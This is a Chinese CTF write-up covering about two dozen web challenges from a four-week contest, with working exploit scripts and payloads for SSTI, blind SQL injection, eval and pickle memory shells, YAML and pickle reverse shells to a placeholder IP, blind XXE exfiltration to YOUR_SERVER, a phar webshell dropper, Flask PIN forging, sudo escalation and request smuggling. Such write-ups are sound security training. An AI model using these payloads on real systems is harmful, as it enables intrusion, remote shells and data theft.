2025?CTF Web题目综合解析与攻防技术详解
概述
本文档系统分析2025?CTF比赛中Week1-4的Web题目解题思路,涵盖多种Web安全漏洞类型和攻击技术。
Week1 题目解析
1. Gitttttttt
漏洞类型:Git信息泄露
攻击方法:
python GitHack.py http://challenge.ilovectf.cn:30746/.git
技术要点:
- 利用.git目录泄露获取源码
- GitHack工具自动恢复版本历史
2. Ping??
漏洞类型:SSRF(服务端请求伪造)
技术要点:
- 题目存在设计问题,需使用代码发送POST请求
- 需要构造特定的HTTP头绕过检测
3. from_http
漏洞类型:HTTP头注入
攻击代码:
import requests
def send_ctf_request():
url = "http://challenge.ilovectf.cn:30823/"
headers = {
"Referer": "?CTF",
"User-Agent": "?CTFBrowser",
"Cookie": "wishu=happiness",
"X-Forwarded-For": "127.0.0.1"
}
params = {"welcome": "to"}
data = {"the": "?CTF"}
response = requests.post(url, params=params, data=data, headers=headers)
return response
4. secret of php
漏洞类型:PHP类型混淆+MD5碰撞
解题步骤:
第一关:八进制绕过
a=03751 # 八进制03751 = 十进制2025
第二关:MD5弱类型比较+强类型比较
<?php
// 第一层:数组绕过MD5弱比较
$a[]=1&b[]=2
// 第二层:数组绕过强比较
aa[]=1&bb[]=2
// 第三层:构造MD5碰撞
aaa=psycho%0A%00...特殊构造的碰撞字符串...
bbb=psycho%0A%00...特殊构造的碰撞字符串...
技术要点:
- MD5弱比较:
0e开头的哈希值会被当作科学计数法 - 数组绕过:
md5(array)返回NULL,NULL==NULL - 精确碰撞:构造特殊字符串实现MD5强碰撞
5. 前端小游戏
漏洞类型:客户端数据篡改
攻击方法:
- 搜索score参数进行解码
- 修改游戏分数相关参数
6. 包含不明东西的食物?!
漏洞类型:目录遍历
攻击方法:
- 使用../进行路径穿越
- 读取系统敏感文件
Week2 题目解析
1. Look at the picture
漏洞类型:SSRF+文件读取
技术要点:
信息收集:
- 目录扫描发现www.zip源码泄露
- 测试发现SSRF漏洞,但协议限制为HTTP
绕过方法:
# 方法1:直接读取
url=php://filter/resource=/flag
# 方法2:编码转换绕过
url=php:!$filter/convert.iconv.UTF-8.UTF-7/resource=/flag
2. Only Picture Up
漏洞类型:文件上传漏洞
攻击方法:
- 修改文件后缀上传Webshell
- 后端存在include包含漏洞,可直接执行恶意代码
3. Regular Expression
漏洞类型:正则表达式绕过
解题步骤:
第一层正则匹配:
/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/
Payload构造:
?=-ctf<
>>>>>h12!!!!!!!!!!@email.com flag0
第二层正则构造:
preg=||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||.*
技术要点:
- 使用实际换行符(%0A)
- \W+匹配非单词字符凑长度
- {5}表示前面字符重复5次
- 末尾flag.\b要求最后一个字符是单词字符
4. 留言板
漏洞类型:SSTI(服务端模板注入)
攻击方法:
# 方法1:使用request绕过过滤
{{get_flashed_messages.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag
# 方法2:使用joiner绕过
{{joiner.__init__.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag
技术要点:
- 过滤了lipsum、cycler和引号
- 使用request对象绕过过滤
- 利用__globals__访问os模块
5. 登录和查询
漏洞类型:SQL盲注
解题步骤:
登录阶段:
- 弱密码:admin/admin123
- 使用题目提供的字典进行爆破
SQL注入:
import requests
base_url = "http://challenge.ilovectf.cn:30830/flag.php"
result = ""
# 布尔盲注脚本
for i in range(1, 100):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
# 构造注入payload
payload = "sElect group_concat(flag) FRom `flags`"
url = f"{base_url}?id=1' And Ord(sUbstr(({payload}),{i},1))>{mid}--+"
cookies = {'PHPSESSID': 'session_id'}
r = requests.get(url, cookies=cookies)
if 'success_indicator' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
print(f"Current result: {result}")
技术要点:
- 注入点:id参数,无过滤
- 使用反引号绕过关键字检测:
flags - 布尔盲注基于页面响应差异
6. 这是什么函数
漏洞类型:Python原型污染
攻击方法:
信息收集:
- 目录爆破发现/src路径
- 获取源码分析漏洞点
Payload构造:
{
"__init__": {
"__globals__": {
"cat": "how to get the flag?"
}
}
}
技术要点:
- 利用__init__.__globals__污染全局变量
- 访问/flag路径获取flag
Week3 题目解析
1. 这又是什么函数
漏洞类型:Python代码执行+盲注
源码分析:
@app.route('/doit', methods=['GET', 'POST'])
def doit():
e=request.form.get('e')
try:
eval(e) # 关键漏洞点
return "done!"
except:
return "error!"
攻击方法1:时间盲注
import requests
import string
url = "http://challenge.ilovectf.cn:30621/doit"
flag = ""
for position in range(1, 50):
low, high = 32, 127
while low < high:
mid = (low + high) // 2
payload = f"__import__('time').sleep(2) if ord(open('/flag').read()[{position-1}])>{mid} else None"
data = {'e': payload}
try:
r = requests.post(url, data=data, timeout=3)
if r.elapsed.total_seconds() > 2:
low = mid + 1
else:
high = mid
except requests.Timeout:
low = mid + 1
flag += chr(low)
print(f"Current flag: {flag}")
攻击方法2:Pickle内存马
import requests
url = "http://challenge.ilovectf.cn:30775"
payload = {
'e': """eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('0')).read())")"""
}
# 注入内存马
requests.post(f"{url}/doit", data=payload)
# 执行命令
requests.get(f"{url}/?0=cat /flag")
2. 魔术大杂烩烩
漏洞类型:PHP反序列化POP链
POP链构造:
<?php
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo $this->Wuhuarou; // 触发__toString
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
return $this->Fentiao->Hongshufentiao; // 触发__get
}
}
class Baicai{
public $Baicai;
public function __get($key){
$Baicai = $this->Baicai;
return $Baicai(); // 触发__invoke
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
return $this->Wanzi->Xianggu(); // 触发目标方法
}
}
3. mysql管理工具
漏洞类型:MySQL任意文件读取+YAML反序列化
攻击流程:
步骤1:JWT伪造
import jwt
import datetime
headers = {"alg": "HS256", "typ": "JWT"}
token_dict = {"username": "admin", "exp": 1762334799}
secret = 'jH84' # 爆破得到的密钥
jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
步骤2:MySQL任意文件读取
- 原理:伪造MySQL服务器,利用LOAD DATA LOCAL INFILE读取文件
- 工具:Rogue-MySql-Server
- 读取目标:/etc/passwd、应用源码等
步骤3:YAML反序列化
import requests
import urllib.parse
# 反弹shell payload
payload = """!!python/object/apply:subprocess.call [['/bin/busybox','nc','YOUR_IP','PORT','-e','/bin/sh']]"""
url = "http://challenge.ilovectf.cn:30750/uneed1t"
params = {'data': payload}
response = requests.get(url, params=params)
替代方案:写文件执行
!!python/object/apply:subprocess.Popen
- ["sh","-c","cat /f* >1.txt"]
4. VIP
漏洞类型:Go模板注入+环境变量注入
攻击步骤:
步骤1:读取API Key
# 方法1:读取环境变量
{{.Utils.ReadAll (.Utils.GetReader "/proc/self/environ")}}
# 方法2:读取密钥文件
{{.Utils.ReadAll (.Utils.GetReader "/app/secret_key.txt")}}
步骤2:环境变量注入RCE
{
"env": {
"GOOS": "linux",
"GOARCH": "amd64",
"CGO_ENABLED": "1",
"CC": "/bin/sh -c \"ls -al / >&2; false\"",
"GOGCCFLAGS": ""
},
"code": "package main\n// C代码部分\nimport \"C\"\nfunc main() {}"
}
技术要点:
- 利用Go编译过程的环境变量注入
- 通过CC参数执行系统命令
- 使用false确保编译失败输出错误信息
5. 查查忆
漏洞类型:无回显XXE+编码绕过
攻击方法:
1.xml(攻击载荷):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://YOUR_SERVER/1.dtd">
%dtd;%code;%send;
]>
1.dtd(外部实体):
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % code "<!ENTITY % send SYSTEM 'http://YOUR_SERVER:5000/%file;'>">
编码绕过WAF:
cat 1.xml | iconv -f utf-8 -t utf-7 > payload.xml
最终Payload:
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE a +AFs
+ADwAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://YOUR_SERVER/1.dtd+ACIAPg
+ACU-dtd+ADsAJQ-code+ADsAJQ-send+ADs
+AF0APg-
6. ezphp
漏洞类型:无字母数字RCE+通配符绕过
解题方法:
利用取反绕过字符限制:
<?php
echo urlencode(~'>cat'); // %C1%9C%9E%8B
echo urlencode(~'* >='); // %D5%DF%C1%C2
攻击步骤:
# 步骤1:创建文件
$_=~%C1%9C%9E%8B;`$_`; # 执行 >cat
$_=~%D5%DF%C1%C2;`$_`; # 执行 * >=
# 步骤2:利用通配符执行命令
>cat
>flag.php
* # 等同于 cat flag.php
技术要点:
- 利用~取反运算符绕过字符过滤
- 通配符*将第一个文件名作为命令,其余作为参数
- 字符长度限制为14个字符
Week4 题目解析
1. Path to Hero
漏洞类型:PHP反序列化
POP链利用:
<?php
class Start {
public $ishero = "hero1"; // 包含hero但不等于hero
public $adventure;
}
class Sword {
public $test1 = "QNKCDZO"; // MD5: 0e830400451993494058024219903391
public $test2 = "240610708"; // MD5: 0e462097431906509019562988736854
public $go = "cat /flag";
}
2. 好像什么都能读
漏洞类型:Flask Debug PIN计算
计算PIN的必要条件:
- username:从/etc/passwd获取(ctf)
- modname:flask.app
- appname:Flask
- moddir:Flask库路径(通过报错获取)
- uuidnode:MAC地址十进制(/sys/class/net/eth0/address)
- machine_id:机器ID组合
计算过程:
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',
'flask.app',
'Flask',
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'
]
private_bits = [
'100034049800637', # MAC地址十进制
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' # machine_id
]
# PIN计算算法
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if bit:
h.update(bit.encode('utf-8') if isinstance(bit, str) else bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# 最终PIN格式:804-332-693
利用方法:
/console?__debugger__=yes&cmd=__import__('os').popen('cat /fl*').read()&frm=0&s=SECRET_KEY
3. 这又又是什么函数
漏洞类型:Python pickle反序列化
攻击方法:
方法1:反弹Shell
import pickle
import base64
class Exploit:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['nc', '-e', '/bin/bash', 'IP', 'PORT'],))
payload = pickle.dumps(Exploit(), protocol=0) # 协议0绕过黑名单
b64_payload = base64.b64encode(payload).decode()
方法2:内存马注入
import base64
opcode = b'''cbuiltins
exec
(S'global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:open(\'/flag\').read()'
tR.'''
payload = base64.b64encode(opcode).decode()
黑名单绕过:
- 使用协议0(文本协议)绕过b'\x80'检测
- 利用error_handler_spec注册错误处理函数
4. 来getshell 速度!
漏洞类型:文件上传+SUID提权
攻击步骤:
步骤1:Phar文件上传
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();
$stub = '<?php $filename="/var/www/html/shell.php"; $content="<?php eval(\$_POST[1]);?>"; file_put_contents($filename, $content); __HALT_COMPILER(); ?>';
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
// GZ压缩绕过检测
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
步骤2:文件包含触发
url=exp.phar.gz
步骤3:SUID提权(CVE-2025-32462)
1=system('sudo -h asd.asd.asd cat /f*');
漏洞原理:
- sudo版本1.8.8-1.8.32或1.9.0-1.9.17存在漏洞
- 配置:
www-data asd.asd.asd = NOPASSWD:ALL - 利用-h参数绕过本地权限限制
5. android or apple
漏洞类型:SSRF+MySQL注入
攻击链分析:
漏洞点:
$imageData = $processor->fetch('dynamic_qr_code');
// 可控点:$_SERVER['HTTP_X_VERIFY_CODE_URL']
SSRF利用:
- 协议限制:fsockopen支持gopher协议
- 目标发现:MySQL服务在3306端口
Gopherus攻击:
python2 gopherus.py --exploit mysql
Payload构造:
gopher://127.0.0.1:3306/_AUTH_PACKET_SQL_INJECTION_PAYLOAD
技术要点:
- fsockopen不依赖_字符,直接发送原始TCP数据
- 去除gopherus生成的_前缀
- 通过二维码结果读取查询结果
6. waf?waf!
漏洞类型:HTTP请求走私
漏洞原理:
- 前端代理:检测到Transfer-Encoding头就按chunked解析
- 后端Flask:对未知Transfer-Encoding值使用Content-Length
攻击Payload:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: xxx
Content-Length: 49
0
&calc=__import__("os").popen("cat /f*").read()
技术要点:
- 使用0作为chunked结束标记
- 代理解析0后停止,后端解析完整Content-Length
- 绕过WAF检测执行命令
总结
本CTF比赛涵盖了Web安全的多个重要领域,包括但不限于:
- 信息泄露漏洞(Git、源码)
- 各种注入漏洞(SQL、SSTI、XXE)
- 文件相关漏洞(上传、包含、读取)
- 反序列化漏洞(PHP、Python)
- 服务端漏洞(SSRF、RCE)
- 协议级攻击(HTTP走私、MySQL协议)
每种漏洞类型都展示了独特的绕过技巧和利用方法,为Web安全研究提供了宝贵的学习材料。